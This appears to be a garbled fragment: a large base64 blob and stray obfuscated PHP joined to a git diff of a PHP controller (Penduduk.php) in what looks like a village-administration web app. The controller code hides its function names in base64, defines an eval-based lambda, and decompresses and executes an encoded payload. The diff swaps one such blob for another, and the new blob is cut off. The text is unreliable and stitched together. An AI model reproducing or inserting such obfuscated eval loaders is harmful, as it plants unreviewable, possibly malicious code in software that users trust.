o8Ozn4y/7GG2tc8Ih69MQDH/LIm6D74d8EZW3vr0zuOYuLOb35HbELvLr2xrN/pz6HuZ9SRzD3Adg/oFdpd8JO2HlehftQ74LtDQ4gG28oG649Obgdcfu8WnC+dYw0XpzIknPOebKP8u5lSHv4GS24cCyesT9XSDhvbC6fV+rB13tkDQwuGT5zZFxz3ZgRWtB+vqoDWPPQJrZxizYQZBfk3QyMjnkMRr0slE4j4IMF2nd7qA2mYIMfZ2nsWqD/V2b8NAgHM5BFYygZ+iAAu3H6Ko/MB8+ebRSue0C9F6zMN1jvs9NRgNazCPp7A/qcQR9u/VGv41qz9dN8S8biCCfQ85NobptbWOMhyEXyMkY7qJ2B12PfSvY2B3Nba5kvnLaATdTBeotzQrqCnVNA908iZcQf3LG5tQW0Ozmd2n4euUhB3gY7C1KTgX5aTwnOgO/GItgOWLesH4PtWdrC/T6/6f016E0Yww7tYb2vzLNdoC3gH1vJHDuOFGLXwL6v0daEQ9TdRIbGZhyCbHzTRR/Xqeo/5EIBx7FLYK0W2FbJas+eP0RWFoKujdcwr7/B/XsYx6snmEe0G0p2jBShm3p8D+4RwWYM6X3SLnwe9Ndg49PANhO7owCm6GXuICj63PvQxsvC0NaPOa3pj9LRYP2U12Ct7epjyX9635air8B4X3Ta1+Xz8bkgq+84J8AsWye/z+K5LYwf5fgUWuYr8pDfUWJ4Rt5n9wBt3hWeD5/7OY3pzzoch4mT9Dpgq16Bn3jEt8GKyG8+3+0aaNKlffUBL2sXNEri7x5PR+FI2w78R/rQ4LnmvjE+ifuZ4ncyzsNzJhoO2E7QJTHiGGI7hd4ebT7Yw3eQ43NI8BzYUitBngK7qqINjnNMfQReArs6u+Z/0GnOytzqwgLHcUY+t45NOrmChLo6s8FG+6NTEqzjij4gk7g2QIMM5roPB+EVnVEHuUCfC3n6eHvAauEfaB8QeyOBrEj7kvcu2uPaNu6DdbyQqaMP8hwOmuPI+T4FGcB1RzpnsEZce/tT14V1a5HFj7QHXa8BjuuuC/2C/bS0x3VeV/InhlQX074C0PloOwCXA4+q1L+ResD/PfR5stBSuadBXLT9uTGGMWBepPHj5ieb7735QvccjhXe6cw2RC/X5B18skfg040iyEjfGDAA+G7c3671Y1w+43VWjfM5+xoZkvLN4Mw5Yq8ZtzONgThEnHJzLuAPOMKODwZROl2KAqxZXNz/0uRrkCsclwR9AN/nekhG2/WWAu48JTgvhVflOR8A7pMG86E5V7K4SZPB14M80ADTKlvX6C6AV4kMAT3BZqE9i8pnPOkw/9GJd4Qt9ItyB7LE91I/+bqWATOCLG7AL9t9W2nL5zn6XniPdHb1jz2TyvIpma+knUv6AduLtmO5OMMYOJR3F3xXB3xbX3iInhp9GEivpQ/jlsfNtcS1oL/n9zdt2hXN5ITSbMYrEqyXBFhSnMUnCfotaDF1wBd8BT9ver0m1F6MVJADiXNNOieDlybtdDVSoNUR7Nybl0XrGdok8CHgmaQdrBehQ7AmfF3Xq825jZUE7TrqSuBxlDGwwerGBh/PH0TrZ079Nk9Uw4jBd0hmB6K7W8b4pItfXwf9xjxh3D2QTZSXlWcF6+s5iz3CG2BLwwFzrRYoR84y/gl8etBDYgtPkN/Bn/++NXFsbnkpv7U1XyLdtaH803StJjntlwa3+GaCD2PE4FQMjVw+jOgl05a313WIeOWNYDKia7RFQy64nKY6sXnAawGu78qzlXOIMs3sV77sd/nn9EvG+x08Mbw3xu/oi9KxfZ3FDOwBH6we6BgJjtOWrbyVY+aLz4EegN1GZibnGKD5nGv9coELyM/kLYhyDFny94X9ze8zTvl9FJt2wtSXwIYgdoEx0DhicDEG8pNN3mKKCXMMCRhsCzY6cwGntT9rxjefpXA+q+/zsNF3UOFqRt9DLu8bMJcIvAaYa8noG/xT2rfKAx8miGNsijFh7dvHrlb0fAfZPYBfeQAcvHNslQMfhtHGuG6TtY5JUJf9HF+DbzDq7cB3A0xN4i8H1phg7Qp6AlbW1q49ax/HPC7HgToYsE7mtdP9pJ6dnDboU2kLwG+Iixs6iOK0YWc6oPi7ieNa732Y6OW9GBNk0Euu0WuxwNiyY3VfPbCbBM+v0kV7/85JzscCPLhxLPRZpb0tLAAXJa+ARZYha43m5bqm/tqlcdBVcgZ+WPgradP+vECoPY93CPbvvvqWRGSmvY1RtbG6AmJJjNMCzji6tgL4XeKYdJkb7WPEWPcaseHuzFhPXh0UfAW2CTEi4HHAgEjTLft5E8bzwgRkcO+28zA/WbY/C2TkzObNYfWslXJ4GbTz5fRxVvDlwUMc3r4uHGNd9sCbW9A38Aw1ZfGzWvHoDnMa3ojNz9W9ve2LFR4YuuYEaDunyeng8oCRBJgn4165XCuMf0tkfUH/poGQLFhtJoW8CrstxundFY3X26jbVkzZPU9LOvVwnd6Z9+nN+4AHstDut+uj+eyYryWMRTwQGeyoQPNdBjYI5iGdmXrncVjQCe43WP1nRf9Ax1fA4G9exzwyxs4XOgf06RpjIuBHwZjM1xs2DfRfsQY9Phyx+VGdy/V1PQNPvger3t7D/JcQt44fsRvYntxOKWQOAebUbA3GlOwde7Jsnzfojtq8Q/AdWHNWs2rOMCaQPY0DW3gMxxMGTZ1izXYu6E3H7J19WDPHOrLuP1X3d3nGOISCb/xVDzCzm+cIWmnJwb05LRc8yeHxvQ7oxjVjjYTJoLKVIKOxh/oz6aEOPRN7keOQ9rHNOoWOcAXU88CflnLwByyMU+IQYg9AJhegs0l8uL1/+VTMPegQOwI2zAX8xaJ/VKztEeiO+Zs4ZOItuRhL4nVAr67M7JYeJ/z2Jp9zfuM80GuuLrf3XdJU4UGmSDwN7NKWbdNhnoX9z3mY2D8mPjMK2QW9dDoz+uQneZ95DBCwnLIIpd7K7yiAtWaMvkvcgPF83gbsEqwxD5ksWLSZvE0u2sD9tsHClp0KW5LxIJ7jHQammFS47+2mrintpbT3SO6aQWv0LYDecD/SZvkhnfE2PJdjRr/VxjiMyqS7WtDdVpMg6a2DNUuvAoYv5ec6/sjg8YeCx0FHAk7EmDb4fGA3gxWzTbfWBnPjO4au6U5ynQe6fWULKcZmOPa69wt5Az/LBf2bYA6Vu20v5WMp0wLJx6JOZdHyVPAw5ndJ7pbvLao8KcsnKfSMmoB+BxsYgjwhrY4sX+rc9KUIXucBn73bHXPHwruIF/J2sS/sePR9GPM4F7Ykl0WSFwstjad+T/+Gzhnmsq6cPcxBjVQ+HLTqnXOld9RDuEriyTx5DVfSO2AeFvYq9Tfoyt/CEuORWDQDI81Ke4H6DOUM5R11s2eHJD94BxueCx6r40qQK7DFShp2TKYOnsxlvvRpbHNB9oMkPQ7tbDBm4ahJxmjDOWvxFbD43hFYcjM5sdsyn3dkjTEcq3eeJ3fZbVk2T35g00QEOzhjtevcaId6nGPhy8mbw+AB9RhI4A9b3Td22xmzrbcWD+GA1W7Cbge2zWNiiKFQ6GPfNjmC57/DpwKMVtAX9ADu60leL3xO0I/dhcf0tSZlDCDAMQv8guy3Yepq+cRcl1H6ivvOwhFTzxe8fkRMBe0AW2kLj4k/A6683+KXKIu4twnaEX1+sZ+J1ce5tQ+WD3eWq5jISDo6LIwzdzp36H7X1wcfh6tjfcC3R7DJ9+Nfc0e48+zfyN4j1hzf8piYwPO4b8sze9/j+wM27V/gZJqvZcyxU59jw0cwewt3xKfM2F0Zn7qMC+6In0/2IzJ9zKjus+39jlb5y/d5PLvF43d05JHddtPaZvpYxexqbShmWZnvk3b6PExrvlGlc5TEJW23p3Z9E3Xa4iYET3VAv416bGz6GAk32tb2ILaPV9WZ492jrDiChHsADoFgMOg0Y9LJE3q4x2TBWlPUc+y2Ju7DZcrp9FG+1fbNsTCPwKTZiUmzG3Izfewzn0n3vrLkbci00aATYh/waShIW0ZM7YE9ViXxpd4hwL3FIEO+ADq0fZ07asZcZ9S/77fmrc6jKn5taeifEL1N9xujj0djry/g8+M+SwavdSf6TdlgYP+ZUPN3wPa2Yxq14oc4HO3Oeb94ntiRxCfa5ZWrxqRx6NPnsXQ8XgfX6I7vMzuWYxtr7wF/93lZFWup8DbGOwHXp4zcRDYdtLWREIuw4j8lz+C+B1Ycpxbv3OMe5oDEY3AvA+bJMT/eHmdubSfg/mJmG669TTNm2j6XSVTzN3Cf7pnEz0v/ldjZGPeLgZ5kxJziI1tHKol3ZvDUmW0DHFgH7IfxvIz9PHXJ9JMeWXhVXHgrZoz4NB20+0bBWvzNN3uCx6Tt8KRmN9tyoZXybKw0ZPlWGdjkHY7b7ZjY3+YWvgM8wpi3cvRWPPL6OkQ8BPgA192zHNZ4zjfHI/ApG5MOs9ttd4krJDdsyvA00W/SculZiM0C1vNZGAV0qoJx6iXjuccp67kraXnHrz4yeQfastoweQbtEPyNa8Rsu2S2Bfwmkbwhs63ObLtzWTnaeZ9j0BX8iHTh8Xd8z7lzmzcBMztsfQ8yLbe3L3C+zrCVbHtd1BS1Y5R5Kx7D+eLv69tj7TPGmvLBCuRX6vHgD+9u81TMywyewt/RhhO8MOqxdGeX1d5bmxn4NlsSX7M4xvyd+/NP7qx5mQu7pMM9HRB3mHO/bS8eWO1u7/8IGr4YuZfwNX9g6pk341zmAQRWrnzYreEH0Le7xGfFWM7FvuTdgcQAR6y8T79mx0Oyt4ER9yzxnkMwqfSBvSezWi4B62swZoI4g7lXpZl7wL0NuB+c6WM5XOv+hrp/Jd3KSQ3LvArNhWJ+xATcvSAYs4zrZgy/Wa+wE92PAnzRUfhA6r0D5udY85wOSn8FaYL1gEUMBHwFdg5zWo31Bi4bclO9Oaci/s2KqRUx3Cqmpt6i2bnS98mCuQem2jOQ+VZvQ3ygIm/FjK/1q/jaGvymASPPmbXmOY90r7nGs/dvlHRPwS/EGNKOGU87l7kq6F/FHCRi49eP5PQwnpK3Jfki4Pl3kOkzMzfdWC/t4LP3HTwUNj4YKwf2msolfijtINDHsc2YgeUfGv4Sg9+n83J9Ml8IwV4gBjRpHR9LZy/bfBnccyAeYEy3Y9PZzbYb4luz9J9+oy1zT4pRj4PluUxmvr3D9NPWGv5+vOE7dS/8U2ID/Q5T97b7Wnf9K9BvWZ232nN59vV+yxhjNbg3yMO9udK2Jffa1F3EHuHvOXYiudmxlrpYi0Zqbk/880B8J/v9V8MoHKHd3UakBnUENmrU28kjEe7vRzPTNOZ8T5nHqq4ZvDRPZtHTSEtpzHdStnVHCYlPY90wrUdrjpG19v9rx1aTh/8dY8xjLySmBfbbFgs/gOQzi36Ijh8bWJ9N6i0cXeTQp/Iy8DNHQ6z92foCFzl4/0AUTVP7ZnPJFPd2zw1zag76GxhLUZdbtAXexrokCWty0xb5ozyNskpzomRMMBesR1nkdb3l/OSxyXvWrI2PMWaW+vh8tBt0r3FJZ8ROYNuLcUShbaZui85vzQn97r5aY/jHP53uH392mT/4k/mybT3ach873P8Ddr5dn35/vqShR7EWC+se8j2qhMaBsEuDgRgT+pJ6xhT6iyOwdZnfkS/1ZZnjz7+H9hLW1GeAozgf5LttDB/ZB6UI7hvGe3zc/5zcpcPKEXjwT9B2XWKgZl0Va898Sx0QqQkJ8rqUq/qc1Y26HIKBhhHdb0dqQzeNmh8dawZ2idMBf3AUp+37/vsxwfL1+p0Rz4HOBDmbbSbz/hH84yPIWnc6j/GnpZ5BhHEBth7kZ0A8OkT3efaMnv9h7TaeLaO84PkdBPvKg22U99eVRxL4W3KlN8dm/QyQ4iwLUv8EY1t4ZO+cdFmf8I7YPo/nR1WNCqXHU60eAetAQmEBPGdswE5gHp7UvoKcrV3AnqAnjzapPY1Sci/Y4dDCe8m+2MI3vaTDNR0f6fwAq7/Lg0Xqr2epPFZ5Z61ywTKKCT1M6j8BfXfq8rKuS1tiLX1oi6TGl1Vzgfue3dXXogazhW/z+taVmWEcsKp3dCUjUZU599Amw4XezYj+ts1dXrM6M2JT1U1TbZOnot44j3mUNYmgzzhXj9aWzu+erVmkP6bpdD2BtTgyx0voCfqN1EfSehaMocRtz7Vb+8FxYJ1sVYvbmCetq63+pjVSS9cKUz8hzzoD/UkdYV4r1twbl9dUoaySuo81qQ+UzIE4moMN0I1wanM7yTJ7j/rQfNT5SW8yCK5reEZ4fo65cIToQtZNrHU/yxfyf1mP18YrVlbMPQytrNFnmNcG5rWFboJ1RybVRaTthb7ZFnS/rAl7nV3pgeHsbfNT0MF6FhP36XIgd3PNnEVa3AOblIznSe9ZMxNoupBm3G7+bT5ct9Wage8LPo9IavXJfutM3OLZJIWuADu8f7HQBpNzIwBHi+Ankf2XKGMJ8OvWaY4vLvZt03OP+liDV9DsFXiMnH0UjkDO+WTnDrE+NUhpHSbRhdEz4Pxn8JvdQXApp5wHtu553gU7KcXw7wZ8m6Nry6AztEMo0M+vakXJuquos8p7nqp1HHnWKQGd9Fsg9AD3YJwY9WdUzQP3c4CO1xOsFeuhXBqmlLwakoI1Y+klXak+VAAznAb4jDpPX9baapjXBT0LuG4fjvH8HJ7q4VLPk7NpMMcdoR1zrSOe5URihuTefC3g/uLclwh4nOS9qnpdJQXdijV4K8CRb/RsDnEFOvjNy+s16RybthJogrq0WJeUUc8bYw2zu0oAwyYxPWOB8mdeJ7rBvKIPNtfNSO1fx8O6M9BRlf4HPDYKk1DqLYKxiPn1LtAM7xXAt+DxXq84g6J+tgGe2WDx4KcmpM2NekmUhbk8dPU5x2GtZF1OwS8MZc1UJHkIYzF7+7x2NFJ4UdcNXjQS0OXLxJ9I3O5brJKzqADDkPuatgnw4bK/kXUR14UDuxYj7cGGZtAv2j6wc5f1o1W7JqYAG4BnVeS0BZ6+pHtdLo7BKtkBJuhSehKZa5GfSx4tbHZT79XXKK/Tb6wxsdU24c3kKa/lJ3aD6mnAR8FGXlGs/JSJP1P+0XpAw7AFGzV1/UhNyPlReDYRYNjKDwLeGhV8hOeegX9Az3oi50cx7WrRhu+lroR7ToJ/G3/WZSSs6f2L+u28trspe03slMR53fPlXHAMWBe4aX32mItAP57dVp77Pj6or//VWAaAqdfmkWKPhd8il5e88fPlPa8Wg1da6Unl5RYep5/TvoMsKs9BoDr09Jyf3QHyeEuuCv0GmHI0w7NjGP2ofuP5Ju9PTI5J8xoG+sDa1+mMfquW4+vwFXiuvkbFOOGeYPENefaxj9/zQW5vAZ+8gf3cuvTcF4ohVlLnaaCgTqTfjfkIfQb4m2ARrCm3r85BYGKTFp+M1Nxey1xjvZB/wg3Ics1/IPNr1T2uYHLXOJHwRa95bsZN/m/K5JUf8wdkYQW64qq2nYztCn8VdLg88+g76v6btmzZembFG+JewIq0Bt9UtTnxP1XEKPS8jXwcf6B2/4qe3lo9kP2+lgr+nLHJ/wZ8Q/8unkmxR4zxiSxEv/sSt1dnRPgt64i+9ZqeobLjsC6i9Lta593qv1zYzzzneKGj2uMatKa8eaZSkxZt8YucP+tnDUnzeHbr7JX6vYBBe4D3JxHww9wcAubXP3BGy7iokTQ2ZZx0/HvPjzlGeAZNfkbKBS4rfJ7TwbFm+G/qrBWgI+hpjndtHuMOvQXRZ6Mu2PojObsJ+A7vb8F5+f3Dwk4zY/l5H3imkMR59Mwg1HXnF1t9Rb2B5wAANsPaqgx0CCOmdtr6nTABG8u9IL7Oijy4mutg9Enp+ZpBR8rjahrG3d7xjM1AwNxruABfiXPtBffcQZ8q2bc9y0UfyewlL+PZun42UfGs1nixJT1gXePLymi0oZ8XtI1SPNduMu9najvPp67QJfWyvgV+mF7SigvWZtLO64DN+F5xTlwlZyN34YMvyOTzUj/kttMWC/8txXMAPczP2Cnq3GL9HvMYUlsMzMz5JMLzRjEf2fT1kpU8iBY1X7HgKzzf51CjD62FW5F1XLNwQMnLoIsDjIcJD/g76Ef8m+4dlAfcafrRthgbWvUykKUz4eP2caYB8gzgFxqHVc5PhZzQf1vOJ8nPJrHy8/ykXseztQ3YU/APlUNA8kXhDJ6NZxdGxRoArl1g/AgwA/rdlbwDXQMB/USwt3QMr76tYuzuzTN78LdJ4kwuqXUA2RYIDS/OreIYclxgglaeiGlshBmjI/46ja1c6AV+uy76wfxlOIrWtt7fw9wOJO5Q8VcRu1lhX7ZAbPy6LX/YjAGgzUR+MakuEcg5h1hDcb6MJ4AOI/Z9ZuE5x0cSl3P0PG6bn81b9H0vFnlpR5XirC1Kx8puZjQ2lN9XPPPJ4HrTNuxBMMZKwT1HexNx91pd5OcebdpjGiqHPh/ZhwPyA3bKAD34DWyQonHdV50zXZtTZc1Qn40zd8zjMI1+wGZ0GXE1gjfLMx8bc5T8IvZqm9sqXslz7biOxF/J+aO9lngdOUdb4Xlf6bhkf0bez/WYiC5ZgK8JeGcsA16h9wN9EFvDzwx07BD8dLG8x4xN3eCSb/PlMZoMjpEKfmL7fL9PXuGeM+bH3ZKHivPWRNzvtPAHD9G3kZJ9S+gY5RHZR3IGDF3l2bCe9zqezsTxyCOOgDEprInaob/diEcVeTlynjCecWwNa7EpKuP5mdYkj0fyTpW+aK+DHqWpJwzzseJ50RKeab4ltaC2VpxrfMk7pc9QyFR+1mdTfoF38hga4aMytoK8kOM4+Pxot/qd1TNqc/gzYwkNXM2MEVW+RsHXfjNfEobIk4zxgm2p33vD9wWsiBgJz/TCM6NAl8LcqO0iPg8vgg0Au5ZVucGCL8o1yG0L2JWvzlr+m5brQJKXKnOv3803JEfu4B6mFZ7hgTQnOmLpgD0HncOgH/2pXm1MMQtLFtr9jD9trWM8Hw7H/nSb10obcKUPO/TsMMq7xTgwBxESGW3XjXguu4q+aelTF3KBvrat13xZrtC7Vd7ObsH69GdB4moznPeQR/7aBvypwHCbJ70eH7p4NrNPzM+HGehEsM/EXm60oTmfmXiOdkRyBA0638zLVDlJlHtqF+Hzs4jflWsDNGvVjSQfDnPCmhXgT94fGwTj474qX8dz8ku/qsWG1HJO5KxUifqY9mRTxKjgewEw1vkq51DXV3qcfjxH9WfElEkfSDc8+5R32bG43h+LLS78ixgX8WU8i+CqFPewP9FYNsahEBtjTAT5qHWtKjtC9r7t8Bxr3A8MfZB6UAfrDPHc2XwPUY6Rcl7pF+eB1mNTrDjT7bW+wY8t65jHG4p4iAnfJdvg1vpcz6+OG3a4Txn8z0o3l3GmAufX4o0349a5P1DgD/NWvqiKe9Aa79OZEZduzQH8Dox5asOYlf5QyRnP8hjPb8D3JpBzmymGGSdYK4N7mehZYOi3F7kaHd+HEP+/Xd/KLwSaq+iTv2MM7E7+uIi5gm2RUn88YeaUb60DyQuTPSG7hOQVwf42zwDH91wQGS3P5S7oSd+HMYv8tbn122III34RSNVe7su9Orfw2tU5JU17hzoF1i0ZvNTzMS3zc1dYYwfPGRD9mPvot896x/eClLFaGltMMff+dCO3gnuCXi7P7M3bFefA27dkLz/v3cjPMqc4gJxNA/Yf34Ej8a6Jc1GBL2c3+iqwY94Wx2VyN2xHC52abSk9wK9onIdPeLw4m/5uXqWKgV/0k78bh/jmpZ/Tv99Xs5/dAOwr1g+C3cVze+Or5zwVe7Ieb9Mhl8e9B20uz8+Hz3eAQ2bV2TnbGOSi+pvDuKeJfIrtb633hf3CHAKs20Cs8TvGE5UlzutmbqnCq3Q/oYWxHGlN4jV0X19+dntFC5Tvwjbg708fGqdWG1trTrNFZoML29/FumTKOyP8/Rh9Hx5onDF9jyalTJl0rxn6b8nLGOmkoQ19tTOCJQuZuoExajFzy0F7UJvjx3j/Blap2/I6jXN8UulPjKG6H5t7LR+OdCTxkZb3Y+C+f2XxYuI58/QdXRiXzd+roOd0QRoVn1k0B/47x5Bsm/k0nsMxpC59LxK+IybPf3+8f9QpdE81j3FX8EGNpu+KtWQYYwWbT/cjpWfAua9A5zfKB8T/AlxPYmHpx2SB6NnWHGcjn9ug/0XenNoLkj+qySbweBLb+p84/9x3bGJB40O8zs733vYF2trd87OBL3a+lbByvXSfPd97Axy2QV1jCyrYikVSvaehtV1bzO0c5u+8+XhsA9+ptcBzeLbPKKcjPJNVOYQ20SO1dwgEV/zzqotvDu69Aruq2Qt4rpi/7w7atuOJas/fCrES2sRte+zgti7JY4W1eeU84OZ59XllK1J58GH6/bGY5dtpGbw9UN02Mmj+fFjx7pN+P97TxoN1/mLsgSvp8J24+s47Llp978VHfO8LbNr0F/gqdpH7GKWduhcH8Oh5YpsSn0lXeje9hWWLGD19nnbhs4dkr2ubjWbqlIvc0AWvVz7EQAQdSGozyHv3AnJ2MvpyO1LngDHDcExjh6yxE/sMfklA9o2UfhViKayf4PCMQepvVHb1ci/vR/YJhSP+OMvfHdXcK1QbJ42rNfBi3Ye+hw9zrFGtw1jbBUMaVyp9ig9g+3w9L+16Hddyvi2KFAtsW949FYYfsRfKuPBTCr7DuKtJ8ncWK+8yuOl3X42Z+iL5vszl92Cvy740imXMXb53u5QVjFkCXuT3H8LvbN6+9exnWLvoY+P+nT9ERnnMmcbEXvJf6R6PCz8zx8bpx9b3I/7z7mp/XDvf4ucVzSt5SvJ3lIUh8DaVrYsx64LZnX7Q37yBjZrvjxmATQJdhvEPJXtoHQ/YfvJd8b4x1Bt1uaFxZT78oD91T64RG+9BH27/JXMdq6hTt44VYRyHvpd1EOxbx6Kjvcbv7qzXPdzKiEHdlqOmfa3bx4v91hg3vxfjRgxAcjSA3Q64t8kBHZfHH+/GN4EeF3vHwlv7VntsfYf7bu6O9fYeylWyxzM3cNwFP97ju2v+6B5CfMclyamEeh3/Yl4u30fRiG1iLobsz86xZF0WmrhJ9bHOqb6nDmWD4D76fum8Fv5hfYuGgLXJO3zkwUJ6GQFOH9N3NQF2vGv3bvpFfJnHyfMCbfkAsp8kAnsO2OF4lbdk+JMlTvv+9aiNrxUbf9/e3OZn34mV/5Q49CYKV72qXnh8v6bjQ3J+Qdc7fM2cizxgr3nO+5e1FuQ7sOWgNwGf5ntTKlnAWsWrvUypS963fR0vq/kH9T3RVY4S+IDuPSrzsnl+leKqdtxd6MsL2tK9K8Se/GvqUsje49T9PbUO2bBHeT6JdbD1eA/qFKBHGd/HGCbZx5A19yXTmFj/H9+y/vFmjvC76y+qsbTWv9C5vsuPUvh76zHInhvyPnM8lxXfRxwXuuYP2I1+jPuA/sAe/LU85whWBB8P3wOOND6Qd7bGSvfpSibI+1WTQJiQGmDgkyzAd1XC7y/Zxb02YJrz12hyJwavEPuC7/OjeuTWHo/a3q0U3xtCsNh1bVsR58Sc0bnuF5I83nC3CW2VD7L4A37xv7BO5CN2/0btRG29/lV1Iqk75pZPJnfHX7iFff5oLVKrXF7W3pE8Ql6buQizaOmML+9Jeg7K75jkcO7VIP3rcAjgLaOsZ1CMeh1NW/4+x095TK1/I452Gyt8oJ6meD9tr1HDanSHsiTqc16VjEzUNVM1sC4b9KtoDofqYI0Y/9dfv/zyww8//vuuv/yTXL+Sf/+a//Xfv3xP81rbjzT8S/XAv37B///yf8rHljP/rx8+//vP/++HJk/8tcGElCX++5f/AZztSco='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Penduduk.php b/donjo-app/controllers/Penduduk.php index 1ad52283f..e277d4b3e 100644 --- a/donjo-app/controllers/Penduduk.php +++ b/donjo-app/controllers/Penduduk.php @@ -240,7 +240,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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